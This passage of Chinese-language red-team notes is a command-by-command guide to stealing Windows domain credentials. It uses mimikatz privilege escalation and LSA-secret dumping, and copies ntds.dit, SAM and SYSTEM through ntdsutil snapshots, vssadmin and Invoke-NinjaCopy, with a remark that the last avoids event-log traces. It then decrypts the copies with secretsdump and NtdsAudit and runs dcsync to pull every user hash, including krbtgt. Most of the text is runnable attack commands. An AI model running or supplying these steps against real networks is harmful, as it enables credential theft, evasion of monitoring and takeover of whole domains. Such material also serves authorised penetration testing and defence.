mimikatz获取PPTP密码:
# 1. 获取系统调试权限(提权的前提)
privilege::debug
# 2. 提升当前令牌权限到SYSTEM(获取最高权限)
token::elevate
# 3. 提取系统LSA秘密(包含服务密码、域凭证等敏感信息)
lsadump::secrets

命令行下连接VPN:
rasdial "VPN111" admin 123
命令行关闭VPN连接:
rasphone -h "VPN111"
七、域内用户凭据密码获取
7.1 Volume shadow Copy
ntds.dit:活动目录数据库,包括有关域用户、组和组成员身份的信息。它还包括域中所有用户
的密码哈希值。
为了保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。因
此想要破解sam文件文件与ntds.dit文件都需要拥有一个system文件
AD DS数据存储:
1、由 ntds.dit 文件构成
2、默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中
3、只能通过域控制器进程和协议访问
由于Windows阻止对这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本
ntds.dit文件位置:%SystemRoot%\NTDS\NTDS.dit
system文件位置:%SystemRoot%\System32\config\SYSTEM
sam文件位置:%SystemRoot%\System32\config\SAM


Volume Shadow Copy Service 是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。
作用:
1、用于数据备份
2、支持Windows Server 2003 及以上操作系统
3、系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备
份,具体时间无法确定
4、禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup
7.2 Ntdsutil
Ntdsutil.exe:一个为 Active Directory 提供管理设施的命令行工具,域环境默认安装。
支持系统:
Server 2003、Server 2008、Server 2012
ntdsutil
snapshot
activate instance ntds
create
mount [GulD]
unmout [GUlD] //copy 完之后再执行卸载
del [GulD]
quit
7.2.1.查询当前系统的快照
ntdsutil snapshot "List All" quit quit --列出所有快照
ntdsutil snapshot "List Mounted" quit quit --列出所有已挂载快照

7.2.2. 创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit

7.2.3.挂载快照:
ntdsutil snapshot "mount {5f32bda2-25ae-4f6b-b19e-de514c5efad8}" quit quit

7.2.4.复制相应的NTDS.dit文件:
copy C:\$SNAP_202512192143_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit


7.2.4.5.卸载快照:
ntdsutil snapshot "unmount {5f32bda2-25ae-4f6b-b19e-de514c5efad8}" quit quit

7.2.4.6.删除快照:
ntdsutil snapshot "delete {5f32bda2-25ae-4f6b-b19e-de514c5efad8}" quit quit

7.2.4.7.非交互式创建快照
Ntdsutil "activate instance ntds" ifm "create full C:\dabai" quit quit

7.3 VssAdmin
是Windows系统提供的卷影复制服务(VSS)的管理工具,域环境默认安装
作用:
1、用于创建或删除卷影副本,列出卷影副本的信息
2、用于显示所有安装的所有卷影副本写入程序和提供程序
3、改变卷影副本存储空间的大小等
1.查询当前系统的快照:
vssadmin list shadows
2.创建快照:
vssadmin create shadow /for=c:
3.获得Shadow Copy Volume Name:
?\GL0BALR00TiDevicetHarddiskVolumeShadowcopy4

4.复制ntds.dit:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds3.dit
5.删除快照:
vssadmin delete shadows /for=c: /quiet

7.4 Ninjacopy
在调用windows系统中的一些命令(vssadmin、ntdsutil 等等)去运行Volume shadow Copy
(卷影服务)时,由于Windows系统的保护机制,常常会在日志文件中产生7036的记录。
那么我们可以通过powershell的脚本的方式去获取域环境中的ntds.dit文件。
脚本下载地址:https://github.com/PowerShellMafia/PowerSploit
1、将脚本导入到目标系统:
2、CMD命令行调用powershell脚本:
Import-Module .\Invoke-NinjaCopy.ps1
3、利用脚本获取sam数据库或者是获取ntds.dit文件
Invoke-NinjaCopy -Path C:\Windows\system32\config\sam -Verbose -LocalDestination C:\Users\administrator\Desktop\sam
Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -Verbose -LocalDestination C:\Users\administrator\Desktop\ntds.dit
# 复制SAM文件
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination C:\tools\sam.hiv
# 复制SECURITY文件
Invoke-NinjaCopy -Path C:\Windows\System32\config\SECURITY -LocalDestination C:\tools\security.hiv
# 复制SYSTEM文件
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination C:\tools\system.hiv


更多脚本的使用方式:https://mp.weixin.qq.com/s/c3RkkVL_x-DSRW7GjZHP5Q
7.5 解密ntds.dit
在使用工具或者技术获取到了域中的ntds.dit文件之后,接下来就要使用各种方法去解密
ntds.dit文件。将此文件解密之后,即可获得域内用户的账号密码信息。可凭借此信息进行横向移动控制内网域。
7.5.1 Secretsdump
脚本下载地址:
脚本解密:
secretsdump.exe -sam sam.hiv -security security.hiv -system system.hiv LOCAL
secretsdump.exe -system system.hiv -ntds ntds.dit LOCAL


7.5.2 NtdsAudit (没用过)
脚本下载地址:
脚本解密:
NtdsAudit.exe "ntds.dit" -s "system" -p pwdump.txt --users-csv users.csv
7.5.3 mimikatz
Mimikatz有一个功能(dcsync),它可以利用目录复制服(DirectoryReplicationService,DRS)从NTDS.DIT文件中提取密码哈希值。
7.5.3.1 通过dcsync直接获取域内所有用户hash
运行命令:
mimikatz.exe "lsadump::dcsync /domain:god.org /all /csv"

7.5.3.2 获取单个用户的详细信息:
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt"

7.5.3.3 查看所有用户的所有详细信息:
mimikatz.exe "lsadump::lsa /inject"
